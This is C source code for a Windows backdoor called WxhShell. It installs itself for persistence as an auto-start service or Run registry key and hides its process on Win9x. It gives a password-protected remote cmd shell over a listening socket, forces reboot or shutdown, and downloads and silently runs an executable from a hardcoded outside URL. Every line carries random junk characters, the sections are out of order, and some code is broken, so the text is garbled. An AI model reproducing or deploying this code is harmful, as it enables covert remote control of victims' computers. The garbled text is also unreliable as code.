  case 'd': { sl l\g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z5n1@a __  
    if(Boot(SHUTDOWN)) %[TR^Th6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qe#tj/aZ  
    else { 2]*OQb#O6e  
    closesocket(wsh); ? OM!+O  
    ExitThread(0); !f [_+CD  
    } <'oQ \eB  
    break; PC8Q"O  
    } F)QDJE0  
  // 获取shell ]_gU#,8  
  case 's': { q3!bky\  
    CmdShell(wsh); K69'6?#  
    closesocket(wsh); /,yd+wcW#  
    ExitThread(0);  mq.`X:e  
    break; C< tl/NC  
  } dZ@63a>>@  
  // 退出 {JT&w6Jz  
  case 'x': { +O{*M9 B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zu[su>\  
    CloseIt(wsh); _V6ukd"B~  
    break; b8UO,fY q  
    } #c!lS<z  
  // 离开 Lk8ek}o'  
  case 'q': { C&%_a~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cm+Es6;  
    closesocket(wsh); H7n>Vx:L-  
    WSACleanup(); Q)h(nbbVak  
    exit(1); C1)!f j=  
    break; J ZS:MFA  
        } 1))8 A@,  
  } oG\Vxg*  
  } 2[W&s&  
S=5o < 1  
  // 提示信息 lL3U8}vn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +r2-S~f3N  
} CA~-rv  
  } d$!RZHo10V  
{EQOP]  
  return; ~$^XP.a.  
} )ez9"# MH'  
W|mo5qrLS2  
// shell模块句柄 3=j"=-=  
int CmdShell(SOCKET sock) PJH&  
{ rV#ch(  
STARTUPINFO si; /U9"wvg  
ZeroMemory(&si,sizeof(si)); :$c |  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VTE .^EK!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VI86KJu  
PROCESS_INFORMATION ProcessInfo; } q8ASYNc  
char cmdline[]="cmd"; 4tBYR9|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  =7eV/3  
  return 0; Wne@<+mX  
} ^1.By^ $  
S,he6zS  
// 自身启动模式 {`@G+JV~Jw  
int StartFromService(void) |CyE5i0  
{ 5$k:t  
typedef struct [4f{w%~^  
{ j\M?~=*w  
  DWORD ExitStatus; @o`AmC . 8  
  DWORD PebBaseAddress; L!xi  
  DWORD AffinityMask; ' `Hr}  
  DWORD BasePriority; i XjM.G  
  ULONG UniqueProcessId; ?Ir:g=RP*  
  ULONG InheritedFromUniqueProcessId; #ABZ&Z  
}   PROCESS_BASIC_INFORMATION; tR$NRMZ.  
i/Zd8+.n$  
PROCNTQSIP NtQueryInformationProcess; 7%M_'P4 V  
wibNQ`4k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j3Y['xDv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FYQS)s  
;2QP7PrSY  
  HANDLE             hProcess; |A(Iti{v  
  PROCESS_BASIC_INFORMATION pbi; tCt#%7J;a  
+ZP7{%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i83OOV$1J  
  if(NULL == hInst ) return 0; f/?P514h  
(tW`=]z-<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BI@[\aRLQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S_H+WfIHV'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RViAwTvY  
8}:nGK|kx  
  if (!NtQueryInformationProcess) return 0; h<QY5=S F  
V0mn4sfs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]`WJOx4  
  if(!hProcess) return 0; 1'8YkhQ2a  
Nh +H9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pA4xbr2  
}Q+|W=2t  
  CloseHandle(hProcess); JBZ@'8eqi]  
WcGS9`m/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @=u3ZVD  
if(hProcess==NULL) return 0; JucY[`|JV  
jL}v9$  
HMODULE hMod; OY({.uVdX  
char procName[255]; \9EjClf o  
unsigned long cbNeeded; E]r?{t`]  
w0unS`\4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |R:'\+E  
YS_; OFsd  
  CloseHandle(hProcess); dPRra{  
WNc0W>*NE1  
if(strstr(procName,"services")) return 1; // 以服务启动 *LY8D<:zs  
U6s[`H3I{  
  return 0; // 注册表启动 f|(M.U-  
} xT2PyI_:  
9>#6*/Oa7  
// 主模块 K*dCc}:`  
int StartWxhshell(LPSTR lpCmdLine) @C aG9]  
{ G3v5KmT  
  SOCKET wsl;  %;!.n{X  
BOOL val=TRUE; \_fv7Fdp{  
  int port=0; |y!A&d=xYn  
  struct sockaddr_in door; V=3b&TkE  
DtnEi4h,  
  if(wscfg.ws_autoins) Install(); ],].zlN  
\'j|BJ~L f  
port=atoi(lpCmdLine); % & bY]w  
gBD]}vo-  
if(port<=0) port=wscfg.ws_port; *X}`PF   
sDV Q#}a  
  WSADATA data; Cgc\ ah  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =2x^nW  
w4Z'K&d=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ddR>7d}N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N{>n$ v}  
  door.sin_family = AF_INET; d'sZxU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +"VP-s0  
  door.sin_port = htons(port); )`D:F>p*  
2J;g{95z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SgOheN-  
closesocket(wsl); *8XEYZa  
return 1; @KAI4LP  
} 3;Fhg!Z O  
vvOV2n .WD  
  if(listen(wsl,2) == INVALID_SOCKET) { B>.qd  
closesocket(wsl); zx7{U8*`<  
return 1; zdH kG_PT  
} 9_s`{(0?  
  Wxhshell(wsl); ?bu>r=oIO]  
  WSACleanup(); nQS|Lt_+  
L/^I*p,  
return 0; ?z u8)U  
ig &Y  
} E4xa[iZ  
w%sT{(Vd`C  
// 以NT服务方式启动 a.6(K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @=kSo -SX  
{ as=LIw}Q4  
DWORD   status = 0; `P ,d$H "  
  DWORD   specificError = 0xfffffff; DlNX 3  
|^H5^k "Bv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _J[P[(ab  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xkR0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q NVa?'0"Y  
  serviceStatus.dwWin32ExitCode     = 0; F4{IEZ  
  serviceStatus.dwServiceSpecificExitCode = 0; >&k-'`Nw  
  serviceStatus.dwCheckPoint       = 0; t0 ?\l)  
  serviceStatus.dwWaitHint       = 0; POR\e|hRT]  
VLN_w$iEq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e?f IXk~b  
  if (hServiceStatusHandle==0) return; #R RRu2  
7=, ;h  
status = GetLastError(); N17RLz *\  
  if (status!=NO_ERROR) { [>Kob1  
{ s"?3]P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sn>~O4"  
    serviceStatus.dwCheckPoint       = 0; >yh2Lri  
    serviceStatus.dwWaitHint       = 0; <rSF*  
    serviceStatus.dwWin32ExitCode     = status; /H+a0`/  
    serviceStatus.dwServiceSpecificExitCode = specificError; PnG-h~Y3N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N)>ID(}F1  
    return; Zj4Uak  
  } {kAc(  
jlg(drTo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L4?IHNB  
  serviceStatus.dwCheckPoint       = 0; 5rUdv}.  
  serviceStatus.dwWaitHint       = 0; n?K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^/=KK:n~  
} c6/=Gq{.  
sUm'  
// 处理NT服务事件,比如:启动、停止 W+1^4::+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uUw5l})%Fi  
{ & "B=/-(  
switch(fdwControl) Nl1D o:PY  
{ D7qOZlX16  
case SERVICE_CONTROL_STOP: .XhrCi Z  
  serviceStatus.dwWin32ExitCode = 0; :P=(k2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ld-_,-n  
  serviceStatus.dwCheckPoint   = 0; IdxzE_@  
  serviceStatus.dwWaitHint     = 0; W'TaBuCb  
  { pcI uN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S>; 5[l 4  
  } 9 JK Ew  
  return; HLHz2-lI  
case SERVICE_CONTROL_PAUSE: x3eZ^8^1}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f'3$9x  
  break; :T(|&F[(  
case SERVICE_CONTROL_CONTINUE: gbagi+8s`%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dcWD(-  
  break; y$R_.KbO  
case SERVICE_CONTROL_INTERROGATE: ##4HYQ%E  
  break; Mh 7DV  
}; )sQ*Rd@t[8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -RK- Fu<e  
} uhutg,[  
m<2M4u   
// 标准应用程序主函数 Pd]|:W< E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9]o-O]7/  
{ W'u>#  
vEz"xz1j!]  
// 获取操作系统版本 ib791  
OsIsNt=GetOsVer(); $a ` G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ges J/I  
&XUiKnNW  
  // 从命令行安装 tIS<U(N ;  
  if(strpbrk(lpCmdLine,"iI")) Install(); QnX(V[  
*EwR!L*  
  // 下载执行文件 K )k<Rh[<  
if(wscfg.ws_downexe) { VTHH&$ZNq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s=/v';5J2!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 57'4ljvYi  
} 2jCfT>`3  
7W.~  
if(!OsIsNt) { H~z`]5CN  
// 如果时win9x,隐藏进程并且设置为注册表启动 PRE|+=w$  
HideProc(); 6Sn.I1Wy  
StartWxhshell(lpCmdLine); QUQ'3  
} `,*5wBC  
else 1D!<'`)AY  
  if(StartFromService()) # c^z&0B}  
  // 以服务方式启动 WvZ8/T'x  
  StartServiceCtrlDispatcher(DispatchTable); }|5Pr(I  
else c_!cv":s  
  // 普通方式启动 4#hSJ(~7S  
  StartWxhshell(lpCmdLine); gt w Q-  
)B8$<sv  
return 0; r^ ZEImjc  
} lBGQEP3;  
K8Y=S12Ti  
uOdl*|T?  
c<$OA=n  
=========================================== EI^C{ $Y  
G[q$QB+  
CYYU 7  
Uq`'}Vo  
2WYPO"q  
fvxu#m=  
" :tv,]05t  
>`ZyG5  
#include <stdio.h>  | (_  
#include <string.h> HT1!5  
#include <windows.h> \=0Vi6!Mc  
#include <winsock2.h> x{ WD;$J  
#include <winsvc.h> "wh , Ue  
#include <urlmon.h> fPW@{~t  
0v$~90)  
#pragma comment (lib, "Ws2_32.lib") K0Fh%Y4)QH  
#pragma comment (lib, "urlmon.lib") s.NGA.]$  
yY&I dE  
#define MAX_USER   100 // 最大客户端连接数 #$qTFN  
#define BUF_SOCK   200 // sock buffer \6*I'|5 d  
#define KEY_BUFF   255 // 输入 buffer hTi$.y!k  
#|PS&}6wU  
#define REBOOT     0   // 重启 Z!X0U7& U  
#define SHUTDOWN   1   // 关机 KRDmY+  
q.`NtsW!\+  
#define DEF_PORT   5000 // 监听端口 k7A-J\  
h2 ;F  
#define REG_LEN     16   // 注册表键长度 5iyd Z  
#define SVC_LEN     80   // NT服务名长度  zi`o#+  
]+:^W^bs:  
// 从dll定义API (;^syJrh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J!U}iD@occ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pw!MS5=r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ChXq4]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #" iu| D  
[-oc>; `=l  
// wxhshell配置信息 9|CN8x-  
struct WSCFG { LOV)3{m  
  int ws_port;         // 监听端口 H\tUpan6fy  
  char ws_passstr[REG_LEN]; // 口令 Pdt vU-(  
  int ws_autoins;       // 安装标记, 1=yes 0=no , ^f+^^  
  char ws_regname[REG_LEN]; // 注册表键名 ?"g2v-jTK  
  char ws_svcname[REG_LEN]; // 服务名 JbQ) sp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 63,H{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =^50FI|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <1\Nb{5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *N'p~LJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "d5n \@[t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?o#%Xs  
?zHPJLv|Y  
}; L<{i ,'M  
MfQ?W`Kop  
// default Wxhshell configuration )iK6:s #  
struct WSCFG wscfg={DEF_PORT, pOG1jI5<{8  
    "xuhuanlingzhe", 2'MZ s]??w  
    1, m#Z# .j_2  
    "Wxhshell", Is?La  
    "Wxhshell", 9ahWIO %  
            "WxhShell Service", ^V Zk+'4  
    "Wrsky Windows CmdShell Service", a\ YV3NJ/A  
    "Please Input Your Password: ", L"*/:$EJL.  
  1, m:o<XK[>  
  "http://www.wrsky.com/wxhshell.exe", !6Mo]xh  
  "Wxhshell.exe" :^3LvPM  
    }; g0ly  
ve2u=eQ1  
// 消息定义模块 @xYlS5{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k4y 'b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5>N2:9We  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D#JL!A%O  
char *msg_ws_ext="\n\rExit."; >{J(>B\  
char *msg_ws_end="\n\rQuit."; :mn>0jK,N  
char *msg_ws_boot="\n\rReboot..."; g:Xhw$x9  
char *msg_ws_poff="\n\rShutdown..."; :\7X}n*&  
char *msg_ws_down="\n\rSave to "; <.izVD4/Gg  
*QQzvhk  
char *msg_ws_err="\n\rErr!"; {v ;&5!s  
char *msg_ws_ok="\n\rOK!"; =uYYsC\T  
2/=l|!JKLz  
char ExeFile[MAX_PATH]; cI?8RF(;  
int nUser = 0; +jnJ|h({  
HANDLE handles[MAX_USER]; JKmIvZ)8  
int OsIsNt; @8rx`9  
x!58cS*  
SERVICE_STATUS       serviceStatus; Y+u_IJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; } .y 1;.  
3H6lBF  
// 函数声明 Bj-: #P@  
int Install(void); _k ~KZ;l  
int Uninstall(void); l &5QZI0I  
int DownloadFile(char *sURL, SOCKET wsh); v"XGCi91L  
int Boot(int flag); Ay w ;N  
void HideProc(void); fbKkq.w  
int GetOsVer(void); !1{e|p 7  
int Wxhshell(SOCKET wsl); q0R -7O(  
void TalkWithClient(void *cs); ,a]?S^:y]  
int CmdShell(SOCKET sock); NDlF0f  
int StartFromService(void); jeH~<t{  
int StartWxhshell(LPSTR lpCmdLine); .Blf5b  
L4z ~B!uvF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ww $  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qPy1;maXP  
kN4{13Qs*  
// 数据结构和表定义 o{q{!7DH@  
SERVICE_TABLE_ENTRY DispatchTable[] = .ndCfdy~  
{ ?3zc=J"t  
{wscfg.ws_svcname, NTServiceMain}, \VyZ  
{NULL, NULL} 2:7zG "$  
}; n+q!l&&  
Zxs|%bQ  
// 自我安装 !()$8  
int Install(void) ^^as'Dk  
{ }Nm#q@o$P  
  char svExeFile[MAX_PATH]; jiS_G%G  
  HKEY key;  fc-iAj  
  strcpy(svExeFile,ExeFile); %Iv,@}kvT+  
S:oi< F  
// 如果是win9x系统,修改注册表设为自启动 :AF =<X*5  
if(!OsIsNt) { ;=; 9tX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {rH@gz|@i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6GSI"M6s  
  RegCloseKey(key); LzXmb 7A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %9N7Ln|%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i}mVQ\j5  
  RegCloseKey(key); RcM/!,B  
  return 0; 2Mvrey)  
    } :f}9($  
  } ,<tX%n`v=  
} n; +LH9  
else { Hmd] FC,_  
=Og)q$AL  
// 如果是NT以上系统,安装为系统服务 B43HNs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _%!c+f7  
if (schSCManager!=0) * @v)d[z_  
{ #_J@-f7^  
  SC_HANDLE schService = CreateService pg.ri64H<  
  ( UT=tT )4b  
  schSCManager, F{Jw ^\  
  wscfg.ws_svcname, N OiN^::m  
  wscfg.ws_svcdisp, ]?+p5;{y4  
  SERVICE_ALL_ACCESS, !K}~/9Z=m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (ehK?6[  
  SERVICE_AUTO_START, `W:%mJd9  
  SERVICE_ERROR_NORMAL, 8WbgSY`  
  svExeFile, f'-i o<.  
  NULL, aM2l2  
  NULL, ;q:zT\A  
  NULL, hj B@o#S  
  NULL, dWUm\t'#  
  NULL "UGY2skf;  
  ); _w/EP  
  if (schService!=0) D!NQ~'.a=2  
  { w' OXlR  
  CloseServiceHandle(schService); I^UC&5dC  
  CloseServiceHandle(schSCManager); /F-qP.<D,r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;":zkb{  
  strcat(svExeFile,wscfg.ws_svcname); */|lJm'R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5JCG2jqx0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y8L D7<1u  
  RegCloseKey(key); wrbLDod /  
  return 0; Iw&vTU=2  
    } {fF3/tL  
  } k*E\B@W>  
  CloseServiceHandle(schSCManager); )- viGxJ@  
} 36%nB*  
} VsgE!/>1  
qY<'<T4\  
return 1; ujaG Ng?,  
} !2A:"2Kys:  
+!z{5:  
// 自我卸载 'EF9Zt8  
int Uninstall(void) 5b/|!{  
{ lB4GU y$  
  HKEY key; p|jV{P  
Wi2WRJdyu  
if(!OsIsNt) {  , ^;)<[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =aA+~/~8%  
  RegDeleteValue(key,wscfg.ws_regname); ^m"u3b4  
  RegCloseKey(key); e2ilB),  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { feNdMR7eM  
  RegDeleteValue(key,wscfg.ws_regname); zj`v?#ET  
  RegCloseKey(key); pUq1|)g  
  return 0; F\AX :  
  } 04'~ta(t  
} 'wI"Bo6e  
} ll6wpV0m  
else { 7,|c  
O QT;zqup  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fpa ;^F  
if (schSCManager!=0) #u"k~La  
{ j>x-"9N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T[uiPs /xD  
  if (schService!=0) !z<%GQ CT  
  { 9C[ywp  
  if(DeleteService(schService)!=0) { 4EZ9hA9+  
  CloseServiceHandle(schService); n9A7K$ZD@  
  CloseServiceHandle(schSCManager); bQP{|  
  return 0; ->O2I?  
  } /.i.TQ]  
  CloseServiceHandle(schService); ?-^m`  
  } J6%AH?Mt  
  CloseServiceHandle(schSCManager); O .Iu6D  
} PSVc+s[Q+V  
} Eu-RNrYh#  
s#DaKPC  
return 1; L19C<5>  
} 6290ZNvr  
7#U^Dx\yh  
// 从指定url下载文件 mG`e3X6@-  
int DownloadFile(char *sURL, SOCKET wsh) T[4<R 5}  
{ 2 fS[J'-o  
  HRESULT hr;  eDJ fU  
char seps[]= "/"; ~aOuG5 XK  
char *token; '+vA\(K  
char *file; IlE_@gS8  
char myURL[MAX_PATH]; UkHY[M7;  
char myFILE[MAX_PATH]; rEv*)W  
r8&^>4  
strcpy(myURL,sURL); OD 3f.fT  
  token=strtok(myURL,seps); On@<J&%  
  while(token!=NULL) 4RV%Z!kcD!  
  { 0=q;@OIf  
    file=token; * U$!I?  
  token=strtok(NULL,seps); 2aB^WY'tC  
  } B`o]*"xkB  
S h,&{z!  
GetCurrentDirectory(MAX_PATH,myFILE); 'd&0Js$^  
strcat(myFILE, "\\"); \nB8WSvk2W  
strcat(myFILE, file); 4jBC9b}O  
  send(wsh,myFILE,strlen(myFILE),0); 'GoZqiYT  
send(wsh,"...",3,0); Da:unVbU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ck@J,~x1D  
  if(hr==S_OK) mp?78_I)  
return 0; 3=$q  
else >sjhA|gXk  
return 1; /K{9OT@>  
""h)LUrl  
} 6"t;gSt 4  
L%$|^T=%  
// 系统电源模块 E+tB&  
int Boot(int flag) RJH,  
{ .8uz 6~  
  HANDLE hToken; bY2 C]r(n  
  TOKEN_PRIVILEGES tkp; xD /9F18  
?N=m<fn  
  if(OsIsNt) { Cb@3M"1:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <~X>[PK<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p=B>~CH  
    tkp.PrivilegeCount = 1; u#A<hq;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -0Tnh;&=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M- 2Tz[  
if(flag==REBOOT) { N0w`!<y:c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HCJ>X;(`f?  
  return 0; f%)zg(YlO  
} $GQ-(/  
else { ;k86"W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) za9)Q=6FD  
  return 0; 6ubL1K  
} fr}Eaa-{^  
  } 9cx =@  
  else { o/ mF #  
if(flag==REBOOT) { :BukUket1e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8W+gl=C~  
  return 0; JwRF(1_sM  
} `)h6j)xiQ  
else { J~iBB~x.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6PF8 /@Nh  
  return 0; Z,;cCxE  
} 8?O>ZZtu  
} P;8>5;U4-  
l Js <  
return 1; ;.Ie#Vr1N  
} Af5D>/  
u=NS sTP&  
// win9x进程隐藏模块 j9U%7u]-k  
void HideProc(void) <{:  
{ 8dOo Q  
w[-Fm+A>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <U9/InN0[  
  if ( hKernel != NULL ) EQIo5  
  { b7\ cxgRq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \zkw2*t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vF/ =J  
    FreeLibrary(hKernel); )|<_cwz  
  } n*'<uKpM  
Grz 3{U  
return; ZC 4*{  
} o{kbc5_  
HygY>s+3[  
// 获取操作系统版本 DtWwG C  
int GetOsVer(void) +P`(Rf"luu  
{ \#x}q'BC4  
  OSVERSIONINFO winfo; E%TpJl'U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9>#:/g/  
  GetVersionEx(&winfo); x/MZ(A%D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^D_/=4rz8  
  return 1; 6V+ qnUk  
  else nCvPB/-  
  return 0; ]43bere  
} i=32KI(%  
V' 2EPYB  
// 客户端句柄模块 ^Ori| 4}'  
int Wxhshell(SOCKET wsl) a>B[5I5  
{ DrvtH+e  
  SOCKET wsh; j?|* LT$%7  
  struct sockaddr_in client; -(JUd4#  
  DWORD myID; ~Z lC '  
Zz |MIGHm  
  while(nUser<MAX_USER) Bl1Z4` 3  
{ 9kY[j2,+  
  int nSize=sizeof(client); oXt,e   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hsG#6?l3  
  if(wsh==INVALID_SOCKET) return 1; =`C4qC _  
DV]7.Bm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A?"h@-~2  
if(handles[nUser]==0) UU}7U]9u  
  closesocket(wsh); E}Xka1 Bn  
else tue/4Q#7  
  nUser++; hvt@XZT  
  } m>e3vu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dYojm1MQ  
*NSlo^R-[  
  return 0; pY^9l3y^  
} l t]B#, '  
F X1ZG!  
// 关闭 socket gCVryB@z2  
void CloseIt(SOCKET wsh) Y"e EkT\  
{ ]yX@'f  
closesocket(wsh);  QI!i  
nUser--; #S+Z$DQD  
ExitThread(0); L8vOBI7N  
} m^\TUj  
;ggy5?>Qu  
// 客户端请求句柄 x@cN3O  
void TalkWithClient(void *cs) C;\VO)]t  
{ Y5!b)vke  
-05U%l1e  
  SOCKET wsh=(SOCKET)cs; TL)O-  
  char pwd[SVC_LEN]; gS"Q=ZK"  
  char cmd[KEY_BUFF]; PG)_L.7rJ  
char chr[1]; K2/E#}/  
int i,j; f!-Sz/c#  
'CS.p!Z\  
  while (nUser < MAX_USER) { 9g?xlue#?  
%W|DJ\l8"  
if(wscfg.ws_passstr) { %bX0 mN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "t&{yBQ0u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R/<=mZ  
  //ZeroMemory(pwd,KEY_BUFF); $)e:8jS=  
      i=0;  td(M#a-  
  while(i<SVC_LEN) { 0%)5.=6  
VZA3IbK}  
  // 设置超时 ,R-Y~+!  
  fd_set FdRead; t&814Uf&\  
  struct timeval TimeOut; D)&o8D`  
  FD_ZERO(&FdRead); DQ=N1pft2v  
  FD_SET(wsh,&FdRead); A@$fb}CF  
  TimeOut.tv_sec=8; s5Fr)q// !  
  TimeOut.tv_usec=0; FyEDt@J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >4![&&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >3 Ko.3&  
|r~ uos  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iM64,wnA  
  pwd=chr[0]; bGh0<r7R  
  if(chr[0]==0xd || chr[0]==0xa) { %7`d/dgR  
  pwd=0; j=.g :&r)  
  break; iWXMKu  
  } v`G U09   
  i++; #cEq_[yI  
    } "L~@.W!@  
^[M~K5Y  
  // 如果是非法用户,关闭 socket x|apQ6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3GmK3uM  
} }?O[N}>,m  
.9\Cy4_qSd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jc~E"x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;x>;jS.t  
~! Lw1]&  
while(1) { .{N\<01  
)Ul&1UYA  
  ZeroMemory(cmd,KEY_BUFF); uaQ&&5%%J  
,eELRzjl  
      // 自动支持客户端 telnet标准   uU+s!C9r  
  j=0; TSyzdnMvz  
  while(j<KEY_BUFF) { o#d$[oa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L/k40cEI^z  
  cmd[j]=chr[0]; WX*cICb5  
  if(chr[0]==0xa || chr[0]==0xd) { BpXEK.Xw  
  cmd[j]=0; HRRngk#lV  
  break; S.fXHtSx  
  } ti;%BS  
  j++; iE{Oit^aG  
    } `03<0L   
 $o+&Y5:  
  // 下载文件 `p"U  
  if(strstr(cmd,"http://")) { V/UB9)i+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ._BB+G  
  if(DownloadFile(cmd,wsh)) RUrymkHFB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $u,G Vq~  
  else f sX;Nj]  
